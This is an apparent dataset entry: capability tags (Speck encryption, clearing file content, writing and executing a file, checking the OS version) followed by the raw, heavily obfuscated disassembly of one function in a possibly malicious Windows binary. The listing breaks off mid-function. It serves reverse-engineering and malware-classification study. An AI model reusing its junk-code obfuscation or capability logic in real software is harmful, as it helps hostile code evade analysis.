Function at 0x4096b0
Capabilities:
Check os version
Clear file content
Encrypt data using speck
Get common file path
Set thread local storage value
Write and execute a file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d7e70
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x30ec
call fcn.004d21f0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x3a4], 0x256915a
mov dword [ebp - 0x3a0], 0x256915a
mov dword [ebp - 0x39c], 0x256915a
mov dword [ebp - 0x398], 0x256915a
mov dword [ebp - 0x264c], 0xb805d31c
mov dword [ebp - 0x4b0], 0
jmp 0x409726
mov eax, dword [ebp - 0x4b0]
add eax, 1
mov dword [ebp - 0x4b0], eax
cmp dword [ebp - 0x4b0], 3
jge 0x409742
mov ecx, dword [ebp - 0x4b0]
mov dword [ebp + ecx*4 - 0x8c0], 0xfffffffe
jmp 0x409717
mov byte [ebp - 0x29b], 0
movzx edx, byte [ebp - 0x29b]
test edx, edx
je 0x409760
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_EnableMenuItem]
mov eax, 4
shl eax, 0
mov dword [ebp + eax - 0x3a4], 0
jmp 0x409796
mov ecx, 4
shl ecx, 0
mov edx, dword [ebp + ecx - 0x3a4]
add edx, 1
mov eax, 4
shl eax, 0
mov dword [ebp + eax - 0x3a4], edx
mov ecx, 4
shl ecx, 0
cmp dword [ebp + ecx - 0x3a4], 2
jg 0x409d50
mov dword [ebp - 0x1e18], 0x6b86
mov dword [ebp - 0x1e20], 0
mov edx, 4
shl edx, 0
mov eax, dword [ebp + edx - 0x3a4]
cmp dword [ebp + eax*4 - 0x8c0], 0
jne 0x4098ab
mov ecx, 4
shl ecx, 0
mov edx, dword [ebp + ecx - 0x3a4]
cmp dword [ebp + edx*4 - 0x8c0], 0
jne 0x40980b
mov eax, 9
test eax, eax
jne 0x40980b
mov dword [ebp - 0xe0c], 0
jmp 0x409815
mov dword [ebp - 0xe0c], 1
mov ecx, 4
shl ecx, 0
mov edx, dword [ebp + ecx - 0x3a4]
mov eax, dword [ebp + edx*4 - 0x8c0]
mov ecx, 4
shl ecx, 0
mov edx, dword [ebp + ecx - 0x3a4]
sub eax, dword [ebp + edx*4 - 0x8c0]
mov ecx, dword [ebp - 0xe0c]
sub ecx, eax
mov dword [ebp - 0x1be8], ecx
mov edx, 4
shl edx, 0
mov eax, dword [ebp + edx - 0x3a4]
mov ecx, dword [ebp - 0x1be8]
mov dword [ebp + eax*4 - 0x8c0], ecx
mov edx, 4
shl edx, 0
mov eax, dword [ebp + edx - 0x3a4]
mov dword [ebp - 0x2d10], eax
mov ecx, 4
shl ecx, 0
mov edx, dword [ebp + ecx - 0x3a4]
mov dword [ebp - 0x29bc], edx
mov eax, 4
shl eax, 0
cmp dword [ebp + eax - 0x3a4], 0xfffffff7
jb 0x409b03
mov dword [ebp - 0x1a88], 0xfffffffe
mov dword [ebp - 0x1ad4], 0x98bbeb92
mov dword [ebp - 0x1e08], 1
mov ecx, 4
shl ecx, 1
cmp dword [ebp + ecx - 0x8c0], 0x217c7128
je 0x4098e9
mov dword [ebp - 0x1a60], 1
jmp 0x4098f3
mov dword [ebp - 0x1a60], 0
mov edx, 4
imul eax, edx, 0
mov ecx, dword [ebp - 0x1a60]
sub ecx, dword [ebp + eax - 0x8c0]
cmp ecx, 8
jle 0x409919
mov dword [ebp - 0x1a68], 1
jmp 0x409923
mov dword [ebp - 0x1a68], 0
mov edx, 4
shl edx, 0
mov eax, dword [ebp + edx - 0x3a4]
mov ecx, dword [ebp + eax*4 - 0x8c0]
cmp dword [ebp - 0x1a68], ecx
jne 0x40994d
mov dword [ebp - 0x1a70], 1
jmp 0x409957
mov dword [ebp - 0x1a70], 0
mov edx, 4
shl edx, 0
mov eax, dword [ebp + edx - 0x3a4]
mov ecx, dword [ebp + eax*4 - 0x8c0]
cmp dword [ebp - 0x1a70], ecx
jg 0x409981
mov dword [ebp - 0x1a78], 1
jmp 0x40998b
mov dword [ebp - 0x1a78], 0
cmp dword [ebp - 0x1a78], 0x35f19716
jg 0x4099a3
mov dword [ebp - 0x1a80], 1
jmp 0x4099ad
mov dword [ebp - 0x1a80], 0
mov edx, dword [ebp - 0x1a88]
cmp dword [ebp - 0x1a80], edx
jg 0x4099c7
mov dword [ebp - 0x1e00], 1
jmp 0x4099d1
mov dword [ebp - 0x1e00], 0
mov eax, 4
shl eax, 1
mov ecx, dword [ebp - 0x1a88]
cmp dword [ebp + eax - 0x3a4], ecx
jle 0x4099f3
mov dword [ebp - 0x1a90], 1
jmp 0x4099fd
mov dword [ebp - 0x1a90], 0
mov edx, 4
shl edx, 0
mov eax, dword [ebp + edx - 0x3a4]
cmp dword [ebp - 0x1a90], eax
jg 0x409a20
mov dword [ebp - 0x1a98], 1
jmp 0x409a2a
mov dword [ebp - 0x1a98], 0
mov ecx, 4
shl ecx, 0
mov edx, dword [ebp + ecx - 0x3a4]
mov eax, dword [ebp + edx*4 - 0x8c0]
cmp dword [ebp - 0x1a98], eax
je 0x409a54
mov dword [ebp - 0x1ac4], 1
jmp 0x409a5e
mov dword [ebp - 0x1ac4], 0
mov ecx, 4
shl ecx, 0
mov edx, dword [ebp + ecx - 0x3a4]
mov eax, dword [ebp + edx*4 - 0x8c0]
cmp dword [ebp - 0x1ac4], eax
jl 0x409a88
mov dword [ebp - 0x1acc], 1
jmp 0x409a92
mov dword [ebp - 0x1acc], 0
mov ecx, dword [ebp - 0x1acc]
mov dword [ebp - 0x1ad4], ecx
cmp dword [ebp - 0x1ad4], 0xed05
jl 0x409ab6
mov dword [ebp - 0x1adc], 1
jmp 0x409ac0
mov dword [ebp - 0x1adc], 0
mov edx, 4
shl edx, 0
mov eax, dword [ebp + edx - 0x3a4]
sub eax, dword [ebp - 0x1adc]
cmp eax, 0x9cd4
jg 0x409ae8
mov dword [ebp - 0x1ae4], 1
jmp 0x409af2
mov dword [ebp - 0x1ae4], 0
mov ecx, dword [ebp - 0x1ae4]
mov dword [ebp - 0x1e08], ecx
jmp 0x409d4b
mov dword [ebp - 0x6b4], 0xe13c9534
mov dword [ebp - 0x1b7c], 0xc0e84896
mov byte [ebp - 0x29e], 0
movzx edx, byte [ebp - 0x29e]
test edx, edx
je 0x409b31
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov dword [ebp - 0x6b4], 0
jmp 0x409b4c
mov eax, dword [ebp - 0x6b4]
sub eax, 1
mov dword [ebp - 0x6b4], eax
cmp dword [ebp - 0x6b4], 0xffffffe8
je 0x409d4b
mov dword [ebp - 0x2bc], 0
mov dword [ebp - 0x1b6c], 0
mov dword [ebp - 0x1e28], 1
xor ecx, ecx
sub ecx, dword [ebp - 0x2bc]
mov edx, 4
shl edx, 0
cmp ecx, dword [ebp + edx - 0x3a4]
jle 0x409ce9
mov dword [ebp - 0x4ac], 4
cmp dword [ebp - 0x4ac], 1
jl 0x409bb3
mov dword [ebp - 0x1e10], 1
jmp 0x409bbd
mov dword [ebp - 0x1e10], 0
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0x2ba4], eax
mov ecx, dword [ebp - 0x4ac]
mov dword [ebp - 0x29c4], ecx
mov edx, dword [ebp - 0x1e18]
mov eax, 4
shl eax, 0
mov ecx, dword [ebp + eax - 0x3a4]
imul edx, dword [ebp + ecx*4 - 0x8c0]
add edx, dword [ebp - 0x4ac]
jne 0x409c18
mov edx, 4
shl edx, 0
cmp dword [ebp + edx - 0x3a4], 0
jne 0x409c18
mov dword [ebp - 0x1aec], 0
jmp 0x409c22
mov dword [ebp - 0x1aec], 1
mov eax, dword [ebp - 0x4ac]
cmp dword [ebp - 0x1aec], eax
jle 0x409c3c
mov dword [ebp - 0x1af4], 1
jmp 0x409c46
mov dword [ebp - 0x1af4], 0
mov ecx, 4
shl ecx, 0
mov edx, dword [ebp + ecx - 0x3a4]
add edx, dword [ebp - 0x1af4]
jne 0x409c69
mov dword [ebp - 0x1afc], 1
jmp 0x409c73
mov dword [ebp - 0x1afc], 0
cmp dword [ebp - 0x1afc], 0x1dd6
je 0x409c8b
mov dword [ebp - 0x1b04], 1
jmp 0x409c95
mov dword [ebp - 0x1b04], 0
mov eax, dword [ebp - 0x1b04]
mov dword [ebp - 0x1b6c], eax
mov ecx, dword [ebp - 0x1b6c]
add ecx, dword [ebp - 0x1b7c]
mov edx, 4
shl edx, 0
mov eax, dword [ebp + edx - 0x3a4]
cmp dword [ebp + eax*4 - 0x8c0], ecx
je 0x409cd1
mov dword [ebp - 0x1b74], 1
jmp 0x409cdb
mov dword [ebp - 0x1b74], 0
mov ecx, dword [ebp - 0x1b74]
mov dword [ebp - 0x1b7c], ecx
jmp 0x409d46
mov dword [ebp - 0x2bc], 0
jmp 0x409d04
mov edx, dword [ebp - 0x2bc]
add edx, 1
mov dword [ebp - 0x2bc], edx
cmp dword [ebp - 0x2bc], 2
jg 0x409d38
mov dword [ebp - 0x1b84], 0x6993c4d9
mov eax, dword [ebp - 0x2bc]
mov ecx, dword [ebp + eax*4 - 0x8c0]
mov dword [ebp - 0x1b84], ecx
mov edx, dword [ebp - 0x1b84]
mov dword [ebp - 0x1e20], edx
jmp 0x409cf5
cmp dword [ebp - 0x1e28], 0
je 0x409d46
jmp 0x409b3d
jmp 0x409b3d
jmp 0x409775
mov dword [ebp - 0xc4], 0x42a1e948
mov dword [ebp - 0x1b8c], 0xffff
mov dword [ebp - 0xb24], 0x6f65e790
mov dword [ebp - 0x1950], 0xe6a3735b
mov dword [ebp - 0x2c4], 0xbc43cc9f
mov dword [ebp - 0x1938], 0xd7c3b7c3
mov dword [ebp - 0x15c], 7
mov dword [ebp - 0xa60], 0x1dd79339
mov dword [ebp - 0x1948], 0xd505bc98
mov dword [ebp - 0x1e30], 0xc946
mov dword [ebp - 0x1e38], 0
mov dword [ebp - 0x7bc], 0
jmp 0x409dd9
mov eax, dword [ebp - 0x7bc]
add eax, 1
mov dword [ebp - 0x7bc], eax
cmp dword [ebp - 0x7bc], 3
jge 0x409df5
mov ecx, dword [ebp - 0x7bc]
mov dword [ebp + ecx*4 - 0x2f6c], 1
jmp 0x409dca
mov edx, dword [ebp - 0x1b8c]
mov dword [ebp - 0x2d68], edx
mov eax, dword [ebp - 0x1b8c]
mov dword [ebp - 0x2c4], eax
mov ecx, dword [ebp - 0xc4]
cmp dword [ebp - 0x2c4], ecx
je 0x409e27
mov dword [ebp - 0x1b94], 1
jmp 0x409e31
mov dword [ebp - 0x1b94], 0
mov edx, dword [ebp - 0xc4]
cmp dword [ebp - 0x1b94], edx
jl 0x409e4b
mov dword [ebp - 0x1b9c], 1
jmp 0x409e55
mov dword [ebp - 0x1b9c], 0
cmp dword [ebp - 0x1b9c], 0x9a54
jge 0x409e6d
mov dword [ebp - 0x1b50], 1
jmp 0x409e77
mov dword [ebp - 0x1b50], 0
mov eax, dword [ebp - 0x1b50]
mov dword [ebp - 0x1938], eax
cmp dword [ebp - 0x1938], 1
je 0x409ea1
mov ecx, 0xd683
test ecx, ecx
je 0x409ea1
mov dword [ebp - 0xb14], 1
jmp 0x409eab
mov dword [ebp - 0xb14], 0
mov edx, dword [ebp - 0xb14]
mov dword [ebp - 0x15c], edx
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x29cc], eax
mov ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x2bb4], ecx
mov edx, dword [ebp - 0xa60]
mov dword [ebp - 0x29d4], edx
mov eax, dword [ebp - 0xa60]
cmp dword [ebp - 0xc4], eax
jg 0x409ef5
mov dword [ebp - 0x1940], 1
jmp 0x409eff
mov dword [ebp - 0x1940], 0
mov ecx, dword [ebp - 0xa60]
imul ecx, dword [ebp - 0x1940]
test ecx, ecx
je 0x409f17
cmp dword [ebp - 0x2c4], 0
mov edx, 0xd073
test edx, edx
jne 0x409f35
cmp dword [ebp - 0xc4], 0
jne 0x409f35
mov dword [ebp - 0xb1c], 0
jmp 0x409f3f
mov dword [ebp - 0xb1c], 1
mov eax, dword [ebp - 0xb1c]
mov dword [ebp - 0x1948], eax
mov ecx, dword [ebp - 0xc4]
cmp dword [ebp - 0x1948], ecx
jg 0x409f60
cmp dword [ebp - 0x15c], 0
mov edx, dword [ebp - 0xc4]
mov dword [ebp - 0xb24], edx
mov eax, dword [ebp - 0xb24]
mov dword [ebp - 0x1950], eax
mov ecx, dword [ebp - 0x15c]
cmp dword [ebp - 0x1950], ecx
je 0x409f92
mov dword [ebp - 0xb2c], 1
jmp 0x409f9c
mov dword [ebp - 0xb2c], 0
cmp dword [ebp - 0xb2c], 0xfffffffd
je 0x409fb1
mov dword [ebp - 0x1958], 1
jmp 0x409fbb
mov dword [ebp - 0x1958], 0
mov edx, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc4]
add eax, dword [ebp - 0x1958]
imul edx, eax
test edx, edx
jb 0x409fe0
mov dword [ebp - 0xb34], 1
jmp 0x409fea
mov dword [ebp - 0xb34], 0
cmp dword [ebp - 0xb34], 0x21dd
jl 0x40a00b
cmp dword [ebp - 0x1e30], 0
je 0x40a00b
mov dword [ebp - 0x1960], 1
jmp 0x40a015
mov dword [ebp - 0x1960], 0
mov ecx, dword [ebp - 0x1960]
mov dword [ebp - 0x1e38], ecx
mov dword [ebp - 0x2c4], 0
jmp 0x40a03c
mov edx, dword [ebp - 0x2c4]
add edx, 1
mov dword [ebp - 0x2c4], edx
cmp dword [ebp - 0x2c4], 2
jg 0x40a08d
mov dword [ebp - 0x15c], 0
jmp 0x40a060
mov eax, dword [ebp - 0x15c]
add eax, 1
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 2
jg 0x40a08b
mov byte [ebp - 0x2a0], 0
movzx ecx, byte [ebp - 0x2a0]
test ecx, ecx
je 0x40a089
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
jmp 0x40a051
jmp 0x40a02d
mov dword [ebp - 0x46c], 0xf7e2799a
mov dword [ebp - 0x2d18], 0
mov dword [ebp - 0xb3c], 0x172d
mov dword [ebp - 0x29dc], 1
mov dword [ebp - 0x140], 0
jmp 0x40a0d0
mov edx, dword [ebp - 0x140]
add edx, 1
mov dword [ebp - 0x140], edx
cmp dword [ebp - 0x140], 3
jge 0x40a0ec
mov eax, dword [ebp - 0x140]
mov dword [ebp + eax*4 - 0x2f90], 6
jmp 0x40a0c1
mov dword [ebp - 0x140], 0
jmp 0x40a107
mov ecx, dword [ebp - 0x140]
add ecx, 1
mov dword [ebp - 0x140], ecx
cmp dword [ebp - 0x140], 1
jge 0x40a123
mov edx, dword [ebp - 0x140]
mov dword [ebp + edx*4 - 0x2bc4], 0xd3ecf04
jmp 0x40a0f8
mov dword [ebp - 0x46c], 0
jmp 0x40a13e
mov eax, dword [ebp - 0x46c]
sub eax, 1
mov dword [ebp - 0x46c], eax
cmp dword [ebp - 0x46c], 0xfffffff1
jle 0x40a2da
mov dword [ebp - 0x4b4], 0x8b72fd49
mov dword [ebp - 0x4b4], 0xa
jmp 0x40a170
mov ecx, dword [ebp - 0x4b4]
sub ecx, 1
mov dword [ebp - 0x4b4], ecx
cmp dword [ebp - 0x4b4], 0xffffffe7
jle 0x40a2bd
mov dword [ebp - 0x1a4], 0xc196a162
mov dword [ebp - 0x1a4], 0
jmp 0x40a1a2
mov edx, dword [ebp - 0x1a4]
sub edx, 1
mov dword [ebp - 0x1a4], edx
cmp dword [ebp - 0x1a4], 0xffffffeb
jle 0x40a257
mov dword [ebp - 0x6bc], 0
jmp 0x40a1ca
mov eax, dword [ebp - 0x6bc]
add eax, 1
mov dword [ebp - 0x6bc], eax
cmp dword [ebp - 0x6bc], 1
jge 0x40a1e6
mov ecx, dword [ebp - 0x6bc]
mov dword [ebp + ecx*4 - 0x4bc], 0
jmp 0x40a1bb
mov edx, 4
imul eax, edx, 0
mov dword [ebp + eax - 0x4bc], 2
jmp 0x40a21c
mov ecx, 4
imul edx, ecx, 0
mov eax, dword [ebp + edx - 0x4bc]
sub eax, 1
mov ecx, 4
imul edx, ecx, 0
mov dword [ebp + edx - 0x4bc], eax
mov eax, 4
imul ecx, eax, 0
cmp dword [ebp + ecx - 0x4bc], 0
jl 0x40a252
mov byte [ebp - 0x2a2], 0
movzx edx, byte [ebp - 0x2a2]
test edx, edx
je 0x40a250
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetScrollRange]
jmp 0x40a1fb
jmp 0x40a193
mov dword [ebp - 0x1a4], 0
jmp 0x40a272
mov eax, dword [ebp - 0x1a4]
sub eax, 1
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0xfffffff7
jge 0x40a2b8
mov dword [ebp - 0x8c4], 0
mov dword [ebp - 0x8c4], 0
jmp 0x40a2a0
mov ecx, dword [ebp - 0x8c4]
sub ecx, 1
mov dword [ebp - 0x8c4], ecx
cmp dword [ebp - 0x8c4], 0xfffffffb
jle 0x40a2b6
cmp dword [ebp - 0x46c], 0
je 0x40a2b4
jmp 0x40a2b6
jmp 0x40a291
jmp 0x40a263
jmp 0x40a161
mov byte [ebp - 0x2a4], 0
movzx edx, byte [ebp - 0x2a4]
test edx, edx
je 0x40a2d5
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
jmp 0x40a12f
mov eax, dword [ebp - 0xb3c]
add eax, 1
mov dword [ebp - 0xb3c], eax
mov dword [ebp - 0x6c4], 0x7571177e
mov dword [ebp - 0x4c4], 0
jmp 0x40a30e
mov ecx, dword [ebp - 0x4c4]
add ecx, 1
mov dword [ebp - 0x4c4], ecx
cmp dword [ebp - 0x4c4], 1
jge 0x40a32a
mov edx, dword [ebp - 0x4c4]
mov dword [ebp + edx*4 - 0x1e40], 0x245f1dbe
jmp 0x40a2ff
mov dword [ebp - 0x6c4], 0
jmp 0x40a345
mov eax, dword [ebp - 0x6c4]
sub eax, 1
mov dword [ebp - 0x6c4], eax
cmp dword [ebp - 0x6c4], 0xfffffff8
jg 0x40a391
mov dword [ebp - 0x438], 0
mov dword [ebp - 0x438], 0
jmp 0x40a373
mov ecx, dword [ebp - 0x438]
add ecx, 1
mov dword [ebp - 0x438], ecx
cmp dword [ebp - 0x438], 1
jge 0x40a38f
mov edx, dword [ebp - 0x438]
mov dword [ebp + edx*4 - 0x1e40], 0xffffffff
jmp 0x40a364
jmp 0x40a336
mov dword [ebp - 0x2cc], 0xffffffff
mov dword [ebp - 0x209c], 0x1a35ca42
mov dword [ebp - 0x1e48], 0xfffd
mov dword [ebp - 0xb54], 0x2def906d
mov dword [ebp - 0x20a4], 2
mov dword [ebp - 0x4cc], 0
jmp 0x40a3de
mov eax, dword [ebp - 0x4cc]
add eax, 1
mov dword [ebp - 0x4cc], eax
cmp dword [ebp - 0x4cc], 3
jge 0x40a3fa
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp + ecx*4 - 0x2ec4], 3
jmp 0x40a3cf
mov dword [ebp - 0x2cc], 0xffffffe4
jmp 0x40a415
mov edx, dword [ebp - 0x2cc]
add edx, 1
mov dword [ebp - 0x2cc], edx
cmp dword [ebp - 0x2cc], 0xfffffff2
jle 0x40a5a3
mov dword [ebp - 0x300], 0xffffffff
mov dword [ebp - 0x1e50], 0xffffffff
mov dword [ebp - 0x7c4], 0
jmp 0x40a451
mov eax, dword [ebp - 0x7c4]
add eax, 1
mov dword [ebp - 0x7c4], eax
cmp dword [ebp - 0x7c4], 2
jge 0x40a46d
mov ecx, dword [ebp - 0x7c4]
mov dword [ebp + ecx*4 - 0x26f4], 0xffffffff
jmp 0x40a442
mov edx, dword [ebp - 0x2cc]
cmp dword [ebp - 0x2cc], edx
jl 0x40a543
mov eax, dword [ebp - 0x300]
sub eax, dword [ebp - 0x1e48]
mov dword [ebp - 0x1e50], eax
mov ecx, dword [ebp - 0x300]
cmp dword [ebp - 0x2cc], ecx
jl 0x40a4ab
mov dword [ebp - 0x1968], 1
jmp 0x40a4b5
mov dword [ebp - 0x1968], 0
cmp dword [ebp - 0x1968], 0x30a4ccfd
jl 0x40a4cd
mov dword [ebp - 0xb44], 1
jmp 0x40a4d7
mov dword [ebp - 0xb44], 0
mov edx, dword [ebp - 0xb44]
neg edx
cmp dword [ebp - 0x209c], edx
jne 0x40a4f3
mov dword [ebp - 0x1970], 1
jmp 0x40a4fd
mov dword [ebp - 0x1970], 0
xor eax, eax
sub eax, dword [ebp - 0x1970]
add eax, dword [ebp - 0x300]
cmp eax, dword [ebp - 0x300]
jle 0x40a51f
mov dword [ebp - 0xb4c], 1
jmp 0x40a529
mov dword [ebp - 0xb4c], 0
mov ecx, dword [ebp - 0xb4c]
sub ecx, dword [ebp - 0x300]
jne 0x40a543
mov dword [ebp - 0x1978], 0
jmp 0x40a54d
mov dword [ebp - 0x1978], 1
mov edx, dword [ebp - 0x1978]
mov dword [ebp - 0xb54], edx
mov eax, dword [ebp - 0xb54]
add eax, 1
jne 0x40a579
cmp dword [ebp - 0x300], 0
jne 0x40a579
mov dword [ebp - 0x1980], 0
jmp 0x40a583
mov dword [ebp - 0x1980], 1
mov ecx, 4
imul edx, ecx, 0
mov eax, dword [ebp + edx - 0x26f4]
add eax, dword [ebp - 0x1980]
mov dword [ebp - 0x20a4], eax
jmp 0x40a406
mov byte [ebp - 0x2a6], 0
movzx ecx, byte [ebp - 0x2a6]
test ecx, ecx
je 0x40a5bd
push 0
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [ebp - 0x18], 0xd071
mov dword [ebp - 0x37c], 0xfff6
mov dword [ebp - 0x4e4], 1
push 1
lea ecx, [ebp - 0x2b20]
call fcn.00428070
mov dword [ebp - 0x19b0], 9
mov dword [ebp - 0x4d4], 0
jmp 0x40a60a
mov edx, dword [ebp - 0x4d4]
add edx, 1
mov dword [ebp - 0x4d4], edx
cmp dword [ebp - 0x4d4], 1
jge 0x40a62d
mov eax, dword [ebp - 0x4d4]
push eax
lea ecx, [ebp - 0x2b20]
call fcn.004281c0
mov dword [eax], 0x2cbd4dae
jmp 0x40a5fb
mov ecx, dword [ebp - 0x37c]
add ecx, 1
mov dword [ebp - 0x37c], ecx
mov dword [ebp - 0x37c], 0
jmp 0x40a657
mov edx, dword [ebp - 0x37c]
add edx, 1
mov dword [ebp - 0x37c], edx
cmp dword [ebp - 0x37c], 0x25
jle 0x40a9fa
push 3
lea ecx, [ebp - 0x2268]
call fcn.00428070
mov dword [ebp - 0x30c], 0x4c23afc3
mov dword [ebp - 0xb74], 1
mov dword [ebp - 0x29e4], 0x11c25c53
mov dword [ebp - 0x6cc], 0
jmp 0x40a6aa
mov eax, dword [ebp - 0x6cc]
add eax, 1
mov dword [ebp - 0x6cc], eax
cmp dword [ebp - 0x6cc], 3
jge 0x40a6cd
mov ecx, dword [ebp - 0x6cc]
push ecx
lea ecx, [ebp - 0x2268]
call fcn.004281c0
mov dword [eax], 0x1accbad8
jmp 0x40a69b
mov dword [ebp - 0x30c], 0
jmp 0x40a6e8
mov edx, dword [ebp - 0x30c]
add edx, 1
mov dword [ebp - 0x30c], edx
cmp dword [ebp - 0x30c], 2
jg 0x40a9ea
mov dword [ebp - 0x4dc], 0x6db6d037
mov dword [ebp - 0x20bc], 6
mov dword [ebp - 0x4dc], 0
jmp 0x40a724
mov eax, dword [ebp - 0x4dc]
add eax, 1
mov dword [ebp - 0x4dc], eax
cmp dword [ebp - 0x4dc], 2
jg 0x40a9d6
mov dword [ebp - 0x370], 0xb9dbea52
mov dword [ebp - 0x20b4], 0
mov dword [ebp - 0x844], 0
jmp 0x40a760
mov ecx, dword [ebp - 0x844]
add ecx, 1
mov dword [ebp - 0x844], ecx
cmp dword [ebp - 0x844], 1
jge 0x40a77c
mov edx, dword [ebp - 0x844]
mov dword [ebp + edx*4 - 0x20c4], 0
jmp 0x40a751
mov dword [ebp - 0x370], 0
jmp 0x40a797
mov eax, dword [ebp - 0x370]
add eax, 1
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 2
jg 0x40a7c2
mov byte [ebp - 0x2a8], 0
movzx ecx, byte [ebp - 0x2a8]
test ecx, ecx
je 0x40a7c0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetScrollInfo]
jmp 0x40a788
mov edx, dword [ebp - 0x30c]
push edx
lea ecx, [ebp - 0x2268]
call fcn.004281c0
cmp dword [eax], 0
jb 0x40a7e5
mov dword [ebp - 0x20ac], 1
jmp 0x40a7ef
mov dword [ebp - 0x20ac], 0
push 1
lea ecx, [ebp - 0x2268]
call fcn.004281c0
cmp dword [ebp - 0x20b4], 0xffffffff
jae 0x40a811
mov dword [ebp - 0xb5c], 1
jmp 0x40a81b
mov dword [ebp - 0xb5c], 0
mov eax, dword [ebp - 0x20bc]
cmp dword [ebp - 0xb5c], eax
jl 0x40a835
mov dword [ebp - 0x1988], 1
jmp 0x40a83f
mov dword [ebp - 0x1988], 0
mov ecx, dword [ebp - 0x30c]
cmp dword [ebp - 0x1988], ecx
jge 0x40a859
mov dword [ebp - 0xb64], 1
jmp 0x40a863
mov dword [ebp - 0xb64], 0
imul edx, dword [ebp - 0xb64], 0x3f08
cmp edx, dword [ebp - 0x4e4]
jne 0x40a881
mov dword [ebp - 0x1990], 1
jmp 0x40a88b
mov dword [ebp - 0x1990], 0
cmp dword [ebp - 0x1990], 0x81de9829
jne 0x40a8a3
mov dword [ebp - 0xb6c], 1
jmp 0x40a8ad
mov dword [ebp - 0xb6c], 0
mov eax, dword [ebp - 0xb6c]
mov dword [ebp - 0x4e4], eax
cmp dword [ebp - 0x4e4], 0
jne 0x40a8d7
mov ecx, 7
test ecx, ecx
jne 0x40a8d7
mov dword [ebp - 0x1998], 0
jmp 0x40a8e1
mov dword [ebp - 0x1998], 1
mov edx, dword [ebp - 0x1998]
mov dword [ebp - 0xb74], edx
cmp dword [ebp - 0xb74], 0
je 0x40a9b1
mov dword [ebp - 0xb7c], 3
mov byte [ebp - 0x2aa], 0
movzx eax, byte [ebp - 0x2aa]
test eax, eax
je 0x40a91e
push 0
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
mov ecx, dword [ebp - 0xb7c]
mov dword [ebp - 0x2d94], ecx
cmp dword [ebp - 0x370], 0
jg 0x40a93f
mov dword [ebp - 0x19a0], 1
jmp 0x40a949
mov dword [ebp - 0x19a0], 0
mov edx, 4
imul eax, edx, 0
mov ecx, dword [ebp + eax - 0x20c4]
sub ecx, dword [ebp - 0x19a0]
je 0x40a975
cmp dword [ebp - 0x370], 0
je 0x40a975
mov dword [ebp - 0x19a8], 1
jmp 0x40a97f
mov dword [ebp - 0x19a8], 0
mov edx, dword [ebp - 0xb7c]
cmp dword [ebp - 0x19a8], edx
jge 0x40a999
mov dword [ebp - 0xb84], 1
jmp 0x40a9a3
mov dword [ebp - 0xb84], 0
mov eax, dword [ebp - 0xb84]
mov dword [ebp - 0x4e4], eax
jmp 0x40a9d1
mov byte [ebp - 0x2ac], 0
movzx ecx, byte [ebp - 0x2ac]
test ecx, ecx
je 0x40a9d1
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetMessageA]
jmp 0x40a715
mov edx, dword [ebp - 0x19b0]
add edx, 1
mov dword [ebp - 0x19b0], edx
jmp 0x40a6d9
lea ecx, [ebp - 0x2268]
call fcn.004281a0
jmp 0x40a648
lea ecx, [ebp - 0x2b20]
call fcn.004281a0
mov dword [ebp - 0x20cc], 0x659d
mov dword [ebp - 0x29ec], 0xe8588d0d
mov dword [ebp - 0x2bd4], 0xfffffffe
mov dword [ebp - 0x19c0], 0x60693009
mov dword [ebp - 0x29f4], 0xfffffffb
mov dword [ebp - 0xba4], 0xffffffff
mov dword [ebp - 0x2d20], 0xc7dcd66a
mov dword [ebp - 0x20ec], 1
mov dword [ebp - 0x2104], 0x7182b474
mov dword [ebp - 0xa70], 0x7747bb7a
mov dword [ebp - 0x29fc], 1
mov dword [ebp - 0x2600], 0x31615e82
mov dword [ebp - 0x20fc], 0xfffffffd
mov dword [ebp - 0x2608], 0x8cae
mov dword [ebp - 0x4ec], 0x79ae4f78
mov dword [ebp - 0xa68], 5
mov dword [ebp - 0x2428], 0
mov dword [ebp - 0x2424], 0
mov dword [ebp - 0x2420], 0
mov dword [ebp - 0x241c], 0
lea ecx, [ebp - 0x90d]
call fcn.00407d20
push eax
lea eax, [ebp - 0x2418]
push eax
lea ecx, [ebp - 0x2428]
push ecx
lea ecx, [ebp - 0x2e3c]
call fcn.00406600
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x22e0]
call fcn.00428140
mov dword [ebp - 0x210c], 0xfffffffa
mov dword [ebp - 0x6d4], 0
jmp 0x40ab29
mov ecx, dword [ebp - 0x6d4]
add ecx, 1
mov dword [ebp - 0x6d4], ecx
cmp dword [ebp - 0x6d4], 3
jge 0x40ab45
mov edx, dword [ebp - 0x6d4]
mov dword [ebp + edx*4 - 0x2dd4], 0xe661fbc9
jmp 0x40ab1a
mov eax, dword [ebp - 0x20cc]
mov dword [ebp - 0x20d4], eax
mov ecx, dword [ebp - 0xa68]
mov dword [ebp - 0x20dc], ecx
mov edx, dword [ebp - 0xa68]
add edx, 1
mov dword [ebp - 0xa68], edx
mov eax, dword [ebp - 0x20d4]
cmp eax, dword [ebp - 0x20dc]
jl 0x40ab86
mov dword [ebp - 0xb8c], 1
jmp 0x40ab90
mov dword [ebp - 0xb8c], 0
mov ecx, dword [ebp - 0xb8c]
mov dword [ebp - 0xa70], ecx
cmp dword [ebp - 0xa70], 0
jne 0x40acac
push 2
lea ecx, [ebp - 0x22e0]
call fcn.004281c0
cmp dword [eax], 0
jne 0x40ac58
mov esi, dword [ebp - 0xa70]
push 2
